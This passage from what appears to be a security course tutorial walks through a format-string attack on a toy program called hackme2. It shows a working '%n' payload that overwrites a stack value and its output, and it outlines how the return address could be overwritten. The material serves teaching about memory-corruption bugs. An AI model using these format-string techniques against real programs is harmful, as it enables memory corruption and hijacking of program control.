```

Here, Perl creates 999 space-separated copies of the command-line argument `>`. In this case, it's essential that the backquoted Perl expression is *not* delimited by double quotes, because we want 999 small command line arguments, not one big command-line argument.

In this program, there is another way to inject any positive number into the program that uses only a single command-line argument. We can use a `%n` specifier in the prompt string to overwrite `a[0]`! This is possible because the address of `a` is on the stack (because it is passed to both `process` and `getelt`). In the above example, we can tell that the address of `a` is `bfffe4f0` because it appears right below the frame boundary for `getelt` (`bfffe4d8 080483d7`) and right below the frame boundary for `process` (`bfffe508 0804842c`). These occurrences of `bfffe4f0` are at offsets 8 and 16, respectively, from the top of the stack. We can use `%n` to overwrite either one. For example, the following stuffs 1000 into `a[0]` and then squares it:

```
[cs342@jay tutorial] hackme2 "%8\$01000x%16\$n>"
----------------------------------------------------------------------------------------------------
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bfffe5b0>0
***** ANS = 1000000 *****
```

Here, the prompt string is the address of `a` in hex preceded by 992 zeroes and followed by `>`. Entering index 0 to this prompt string squares the contents of `a[0]`, which is now 1000, to yield 1000000.

In the original `hackme` program, we were able to avoid squaring the number by overwriting the return address. Can we do that in `hackme2` as well? The answer is yes, but it is tricky. The problem is that a `%n` exploit requires that the *address* of the return address for `getelt` be on the stack. Let's call this *pra*, for *p*ointer to the *r*eturn *a*ddress. The address *pra* is not normally on the stack, but we can use the `%n` technique above to write *pra* into `a[0]`. Since we know the offset of `a[0]` from the top of the stack, we can then use `%n` again to overwrite the return address pointed at by *pra*. Finally, we can use `%n` a third time to overwrite `a[0]` again with a desired number n. After this, the `hackme2` program will display n as the answer!

We do not show the details for this example because they are complex. In particular, *pra* is a large number — too large to be constructed using the format-width specification. But there are ways to construct such an address byte-by-byte; for details, see Erickson's *Hacking: The Art of Exploitation.*